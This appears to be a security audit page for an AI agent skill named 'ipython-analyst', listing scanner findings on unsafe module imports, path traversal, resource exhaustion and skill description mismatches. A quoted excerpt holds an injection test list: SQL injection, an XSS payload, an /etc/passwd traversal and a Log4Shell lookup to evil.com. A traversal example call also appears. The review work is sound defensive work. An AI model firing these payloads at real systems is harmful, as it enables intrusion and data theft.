ipython-analyst

• Outcome: Review
• Latest audit: Sep 16, 2026 · 10:58 AM UTC
• Version: 7.1.0

Overview

The skill is a coherent Python analysis helper, but it needs Review because some helpers and guidance can unexpectedly execute imported code, access files outside intended folders, or expose sensitive debugging state.

Install only if you are comfortable with a broad Python execution skill. Use it for trusted analysis tasks, keep it away from untrusted project directories on sys.path, avoid check_requirements(script_path) on attacker-controlled code, use simple baseline names, do not enable traceback locals unless outputs stay private, and require approval before any pip install.

A.I.G

Vulnerability Patterns

• Insecure Dependencies: Introduces malicious components through unsafe dependency sources
• Insecure Skill Coding Practices: Finds exploitable flaws such as hardcoded secrets or command injection
• Skill Instruction Hijacking: Alters the agent's session goals or safety constraints when the skill loads
• Agent Memory Poisoning: Writes attacker-controlled rules into memory that affect later sessions
• Remote Payload Retrieval and Execution: Fetches external code whose behavior can change after review

Findings (5)

T09 · Insecure Skill Coding Practices

Error

• Location: scripts/env_check.py:93

Finding

Dependency inspection imports and executes modules from user-supplied source

Content

View full analysis

RequirementStatus: import_name = PACKAGE_TO_IMPORT.get(package.lower(), package) try: mod = importlib.import_module(import_name) version = getattr(mod, "__version__", None) ``` ### Technical Analysis `check_requirements(script_path=...)` statically extracts import names from a potentially untrusted Python file, but `_check_package()` then calls `importlib.import_module()` for every extracted name. Importing a Python module is an executable operation: its module-level statements and package initialization files are run immediately. Consequently, a function presented as a dependency availability check can execute arbitrary code from a local module, a malicious package already on `sys.path`, or a package whose initialization has unintended side effects. This also conflicts with the recommendation in `SKILL.md` to use `check_requirements(script_path)` to inspect an untrusted script before running it. Although the target script itself is not executed, modules named by that script may be executed. ### Attack Path 1. An attacker supplies a Python file containing an import such as: ```python import attacker_module ``` 2. The attacker arranges for `attacker_module.py` or an equivalent package to be ...[truncated 742 chars]

Remediation

View remediation

T09 · Insecure Skill Coding Practices

Error

• Location: scripts/output_differ.py:147

Finding

Baseline names allow path traversal outside the configured storage directory

Content

View full analysis

str: """Persist `output` as baseline `name`. Returns the file path.""" data = { "output": output, "timestamp": datetime.now().isoformat(), "hash": hashlib.sha256( json.dumps(output, sort_keys=True, default=str).encode() ).hexdigest()[:16], } path = os.path.join(self.baseline_dir, f"{name}.json") with open(path, "w", encoding="utf-8") as f: json.dump(data, f, indent=2, default=str) return path def load_baseline(self, name: str) -> dict | None: """Load a saved baseline, or None if not found.""" path = os.path.join(self.baseline_dir, f"{name}.json") if not os.path.exists(path): return None with open(path, encoding="utf-8") as f: return json.load(f) ``` ### Technical Analysis The caller-controlled `name` is combined directly with `baseline_dir` without validation or containment enforcement. Values containing `../` components can escape the baseline directory. On platforms where an absolute second component overrides the first path, an absolute `name` can also redirect access. Appending `.json` does not prevent traversal. It only constrains the resulting filename suffix. `save_baseline()` opens the resolved path in write mode, which truncates an existing file, while `load_baseline()` reads and parses an arbitrary reachable JSON file. ### Attack Path 1. An attacker controls or influences the baseline name. 2. The attacker supplies a traversal value, for example: ```python manager.save_baseline("../../outside/target", attacker_output) ``` 3. `os.path.join()` produces a path outside `.baselines`. 4. `open(..., "w")` creates or truncates the escaped target path. 5. Alternatively, `load_base ...[truncated 627 chars]

Remediation

View remediation

T09 · Insecure Skill Coding Practices

Warning

• Location: scripts/safe_execution.py:128

Finding

AST-based expression evaluator permits computational resource exhaustion

Content

View full analysis

Remediation

View remediation

T08 · Insecure Dependencies

Warning

• Location: references/debugging.md:140

Finding

Documentation recommends unpinned runtime installation of third-party profiling packages

Content

View full analysis

Remediation

View remediation

T09 · Insecure Skill Coding Practices

Note

• Location: references/debugging.md:180

Finding

Debugging reference incorrectly states that sensitive frame locals are captured by default

Content

View full analysis

list[dict]: ``` ```python def summarize_exception( exc: BaseException, *, max_frames: int = 20, include_locals: bool = False ) -> dict: ``` ```python def format_exception( exc: BaseException, *, max_frames: int = 10, show_locals: bool = False ) -> str: ``` ### Technical Analysis The reference describes sensitive frame-local capture as enabled by default even though the implementation correctly disables it. It also instructs the user to inspect a `locals` field that will not exist under the actual default behavior. A user or Agent following this stale guidance may explicitly enable `include_locals=True` or `show_locals=True` to obtain the expected output. Frame locals can include authentication tokens, passwords, cookies, personal data, proprietary records, connection objects, and user inputs. The implementation converts values using `repr()`, which can expose sensitive values and can invoke ...[truncated 1031 chars]

Remediation

View remediation

SkillSpector

Vulnerability Patterns

• Data Exfiltration: External Transmission, Env Variable Harvesting, File System Enumeration
• Privilege Escalation: Excessive Permissions, Sudo/Root Execution, Credential Access
• Excessive Agency: Unrestricted Tool Access, Autonomous Decision Making, Scope Creep
• System Prompt Leakage: Direct Leakage, Indirect Extraction, Tool-Based Exfiltration
• Trigger Abuse: Overly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger

Findings (34)

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 98% confidence

Finding

The declared description presents a general-purpose interactive Python analysis skill. The actual code chunk is just a sample target file meant to be analyzed for complexity; it defines ordinary functions and a class but does not provide the described execution environment or analysis utilities. Its primary purpose is materially different: it is example input for a code-analysis test case, not a skill that runs Python interactively or performs the listed diagnostics. While the file includes patterns that an analyzer might inspect (regex, nesting, parameter count), those are characteristics of the sample code, not capabilities implemented by the skill itself.

Content

No source excerpt is available for this finding.

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 99% confidence

Finding

This is a clear description-behavior mismatch. The declared purpose describes a general-purpose interactive Python analysis/debugging skill with many broad triggers and use cases. The supplied code does not provide an interactive Python runner or any of those listed capabilities. Instead, it implements a specific validator for chunked text: it checks code fence balance, length preservation after reassembly, preservation of URLs/emails/code blocks/headers/list items/UUIDs, and sampled order preservation. That is a materially different primary purpose and much narrower behavior than advertised.

Content

No source excerpt is available for this finding.

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 98% confidence

Finding

The declared description presents a broad interactive Python runtime for executing code to investigate many concrete tasks. The supplied code does something much narrower: static AST-based analysis of Python source for complexity, nesting, parameters, missing docstrings, classes, imports, and literal regex compile calls. While AST inspection is mentioned in the description, the overall declared purpose is an execution-oriented general Python tool, whereas this implementation is a specialized static analyzer. It also includes file-reading behavior for .py paths, which is not clearly declared. This is a material purpose mismatch, not just an implementation detail.

Content

No source excerpt is available for this finding.

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 96% confidence

Finding

The declared description presents a general-purpose interactive Python execution skill with a wide range of analysis and execution use cases. The actual code chunk is much narrower and focused specifically on exception/debugging workflows. It does align with part of the description—debugging scripts and interactive investigation of crashes—but it does not implement or evidence most of the advertised capabilities. There is no code for profiling, data analysis, schema validation, file parsing, AST work, distributed execution, or related broad Python tooling. Therefore the description materially overstates the code’s purpose and capabilities relative to this chunk.

Content

No source excerpt is available for this finding.

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 98% confidence

Finding

The declared description presents a broad interactive Python runner for many kinds of execution-driven investigation. The supplied code does not provide general Python execution or any of those broad capabilities. Instead, it performs a specific static AST-based dependency analysis of Python code, building import maps and call graphs and exporting DOT graphs. While AST inspection is mentioned in the description, this code only covers a small specialized subset of that space and does not match the declared primary purpose of an interactive multi-purpose Python analysis/debugging tool.

Content

No source excerpt is available for this finding.

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 92% confidence

Finding

The declared description presents a general-purpose interactive Python analysis/debugging skill with many broad use cases. The supplied code chunk instead implements a specific distributed-processing helper library focused on multiprocessing/threading, chunked CSV handling, and Dask integration. While one small part of the description mentions running distributed/parallel jobs and processing large files, that is only a subset of the declared purpose. The primary behavior of this code is materially narrower and different from the broad interactive execution capability that was declared, so this should be flagged as a mismatch.

Content

No source excerpt is available for this finding.

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 98% confidence

Finding

The declared description presents a general interactive Python analysis/debugging tool with many broad investigative capabilities. The supplied code does not provide interactive execution or any of those major functions. Instead, it focuses on environment checking: parsing Python imports with AST, verifying importability of packages, and checking simple version constraints. AST use is present, but only to extract imports from scripts, not to inspect/visualize ASTs as described. This is a materially different and much narrower primary purpose than the declared skill description, so it should be flagged as a mismatch.

Content

No source excerpt is available for this finding.

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 95% confidence

Finding

There is a material mismatch between the declared description and the code chunk. The description promises a general-purpose interactive Python tool for many investigative and execution-heavy tasks. The actual code does not provide interactive execution, profiling, debugging, schema validation, AST inspection, file processing pipelines, or distributed computation. Instead, it performs a single specialized function: regex-based content format detection with scoring and optional debug prints. While 'what format is this file' is one example mentioned in the declared description, that is only a small subset of the declared skill. The primary purpose of the code is much narrower than advertised, so the description does not accurately represent the supplied implementation.

Content

No source excerpt is available for this finding.

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 98% confidence

Finding

The declared description promises a broad, hands-on Python execution capability covering many kinds of analysis and investigation tasks. The supplied code does not implement an interactive Python runner or any of those concrete analysis features. Instead, it provides a specific mocking/isolation helper for testing a function with patched dependencies, mocked files, and temporary environment variables. While this could support debugging in a limited sense, its primary purpose is materially narrower and different from the declared skill purpose. There are no undeclared dangerous behaviors apparent, but the description substantially overstates and misrepresents what this code chunk actually does.

Content

No source excerpt is available for this finding.

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 97% confidence

Finding

The declared description presents a general interactive Python runtime for a wide range of user-driven analysis and execution tasks. The supplied code does not provide an interactive execution environment or any of the broad capabilities claimed. Instead, it implements a focused log analyzer for parsing and summarizing log files. While 'parse this log' is one example mentioned in the description, the overall declared primary purpose is materially broader and different from the actual code. There is no evidence of undeclared dangerous behavior; the mismatch is that the description overstates and mischaracterizes the skill as a general interactive Python tool rather than a dedicated log-analysis component.

Content

No source excerpt is available for this finding.

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 99% confidence

Finding

There is a substantial description-behavior mismatch. The declared purpose presents a broad interactive Python analysis/debugging skill with many triggers and use cases across data processing, validation, profiling, and execution. The supplied code does not provide an interactive Python runner or any of those capabilities. Instead, it exclusively parses Python source with ast, builds a styled tree, outputs Graphviz DOT, and optionally invokes the dot executable to generate SVG/PNG. While AST inspection is mentioned in the declaration, that is only one small item in a much broader description, whereas the actual code is a single-purpose AST visualization tool. This makes the primary purpose materially different from what was declared.

Content

No source excerpt is available for this finding.

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 91% confidence

Finding

The declared description presents a general-purpose interactive Python runner with many broad investigative and execution capabilities. The actual code chunk is not such an environment; it is a specialized regex debugging module focused on static risk detection and timeout-based stress testing for catastrophic backtracking. While regex stress-testing is one example mentioned in the declaration, the code does not provide the broad interactive execution, profiling, schema validation, file parsing, AST analysis, or other declared functions. This is a materially different primary purpose, so the description does not accurately represent the supplied code chunk.

Content

No source excerpt is available for this finding.

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 98% confidence

Finding

The declared description presents a general-purpose interactive Python analysis/debugging skill with many broad capabilities. The supplied code chunk instead implements three focused safety primitives: SIGALRM-based timeout handling, process resource limits, and safe evaluation of restricted expressions via AST whitelisting. Those are supporting sandbox/safety utilities, not the advertised end-user functionality. While ASTs are used internally to validate expressions, the code does not provide AST inspection or visualization features as described. The primary purpose is materially different and far narrower than the declared purpose, so this is a clear description-behavior mismatch.

Content

No source excerpt is available for this finding.

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 93% confidence

Finding

The declared description presents a broad interactive Python execution/debugging/profiling/data-analysis skill. The supplied code chunk, however, is a narrow utility focused on managing memory in an IPython session. Its primary behavior is inspecting namespace variables, estimating object sizes, compressing variables via pickle+zlib, deleting them from the namespace, and restoring them later. Those are materially different capabilities from the declared examples such as debugging scripts, profiling functions, validating schemas, parsing files, inspecting ASTs, or running distributed jobs. While this code could support interactive notebook workflows, the implemented behavior is specific enough and sufficiently different in primary purpose that the description does not accurately represent this chunk.

Content

No source excerpt is available for this finding.

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 98% confidence

Finding

This is a clear description-behavior mismatch. The declared description promises a broad, interactive Python analysis environment covering many workflows (debugging scripts, profiling performance, validating schemas, parsing files, inspecting ASTs, diffing versions, etc.). The supplied code instead implements a specific test-generation and parser stress-testing module. It creates edge-case inputs across categories like empty, whitespace, unicode, control, special, boundary, and injection; optionally extracts regex patterns from source; and runs a parser against generated cases with timeout-based failure accounting. While the declared description briefly mentions regex stress-testing and parser stress testing as possible triggers, the actual code does not provide the broad interactive execution capability or most of the listed analysis features. The primary purpose is materially different and substantially narrower than declared.

Content

No source excerpt is available for this finding.

Direct Prompt Extraction

High

• Category: System Prompt Leakage
• Confidence: 85% confidence

Finding

Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.

Content

Scanner excerpt · SKILL.md (reported line 203)May include surrounding context.

fmt = detect_format(content, debug=True)

text

## Output Guidelines

- **Charts**: PNG, dpi=150–200. Prefer `constrained_layout=True` on `plt.subplots()` — do NOT combine it with `tight_layout()` or `bbox_inches='tight'` (they conflict and silently break margins). For legends, use `bbox_to_anchor` outside the plot area, not `loc='best'`.
- **Data**: CSV with `index=False`; JSON for nested structures; joblib for ML models.

Credential Access

High

• Category: Privilege Escalation
• Confidence: 60% confidence

Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/test_generator.py (reported line 64)May include surrounding context.

python

"injection": lambda: random.choice([
            "'; DROP TABLE users; --",
            "<img src=x onerror=alert(1)>",
            "../../../etc/passwd",
            "${jndi:ldap://evil.com/x}",
            "{{7*7}}",
        ]),

Undeclared Tool Scope

Medium

• Category: MCP Least Privilege
• Confidence: 96% confidence

Finding

The skill describes capabilities that involve reading uploads, writing downloadable outputs, importing local helper modules, and executing Python, but it does not declare any explicit tool or permission scope. In a tool-enabled environment, missing scope boundaries increases the chance of over-privileged execution, accidental access to sensitive resources, or policy drift between what reviewers expect and what the runtime allows.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium

• Category: Not specified by scanner
• Confidence: 95% confidence

Finding

The activation guidance is extremely broad, including essentially any request to execute Python interactively to investigate a problem. Overbroad triggers can cause inappropriate invocation of a powerful code-execution skill, increasing the risk of unnecessary access to files, data, or execution contexts when a simpler non-executing skill would suffice.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium

• Category: Not specified by scanner
• Confidence: 89% confidence

Finding

The instruction to load this reference when the user wants to 'understand code structure' or 'find complexity hotspots' is broad and lacks clear boundaries or exclusion conditions. It does not provide specific trigger phrases or negative examples, increasing the chance of unintended invocation during ordinary coding conversations.

Content

No source excerpt is available for this finding.

Unbounded Resource Access

Medium

• Category: Excessive Agency
• Confidence: 75% confidence

Finding

Skill allows unbounded resource consumption (API calls, storage, compute). Without rate limits or quotas, a compromised or misbehaving agent can cause denial-of-service or cost overruns.

Content

Scanner excerpt · references/code-analysis.md (reported line 76)May include surrounding context.

[{'type': 'nested_quantifier', 'severity': 'high',

'message': 'Nested quantifiers like (a+)+ cause exponential backtracking'}]

result = db.stress_test(timeout=0.5)

{'passed': 4, 'timeouts': 5, 'errors': 0, 'details': [...]}

text

External Transmission

Medium

• Category: Data Exfiltration
• Confidence: 50% confidence

Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/distributed.md (reported line 78)May include surrounding context.

def fetch(url): return requests.get(url).json()

urls = ['https://api.example.com/items/1', ...] results = dp.parallel_map(fetch, urls, show_progress=True, desc='Fetching')

text

Missing User Warnings

Medium

• Category: Not specified by scanner
• Confidence: 93% confidence

Finding

This markdown file demonstrates sm.compress_variable('big_intermediate_df') and explicitly notes that the variable is gone from the namespace, but it does not provide any cautionary warning about the temporary data removal or potential workflow disruption. Under the markdown-file criteria, behaviors that affect user data or system state should include a clear warning.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium

• Category: Not specified by scanner
• Confidence: 93% confidence

Finding

This markdown file includes an invocation description telling the system to load the reference when the user 'has graph/network data and wants centrality, communities, shortest paths, or visualization.' That condition is broad and lacks explicit constraints or negative examples, so it could trigger on many ordinary graph-related requests beyond the intended skill-routing context.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium

• Category: Not specified by scanner
• Confidence: 95% confidence

Finding

The activation guidance is overly broad: phrases like 'validate JSON/CSV', 'compare two outputs', or 'verify chunking' are common tasks that may be better handled by other, narrower skills. This can cause the agent to invoke an interactive Python execution skill unnecessarily, increasing attack surface and the chance of processing untrusted data or code in a higher-risk environment than needed.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.